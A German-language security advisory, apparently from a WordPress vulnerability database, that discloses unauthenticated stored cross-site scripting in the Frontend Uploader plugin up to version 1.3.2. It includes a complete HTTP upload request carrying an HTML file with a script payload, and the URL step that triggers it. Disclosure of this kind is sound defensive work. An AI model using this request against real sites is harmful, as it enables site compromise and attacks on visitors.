
Das Plugin verhindert nicht, dass über sein Formular HTML-Dateien hochgeladen werden. Dadurch kann ein nicht authentifizierter Benutzer eine schädliche HTML-Datei, z. B. mit JavaScript, hochladen, die ausgeführt wird, sobald jemand direkt auf die Datei zugreift.
Frontend Uploader <= 1.3.2 - Nicht authentifiziertes gespeichertes Cross-Site-Scripting
Das Plugin verhindert nicht, dass HTML-Dateien über sein Formular hochgeladen werden. Dadurch kann ein nicht authentifizierter Benutzer eine schädliche HTML-Datei hochladen, die zum Beispiel JavaScript enthält, das ausgeführt wird, wenn jemand die Datei direkt aufruft.
Auf einer Seite oder in Beiträgen, in denen der Shortcode [fu-upload-form] eingebettet ist, einfach eine HTML-Datei über das generierte Formular hochladen.
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Anschließend die hochgeladene Datei aufrufen, um das XSS auszulösen, z. B. https://example.com/wp-content/uploads/2021/07/xss.html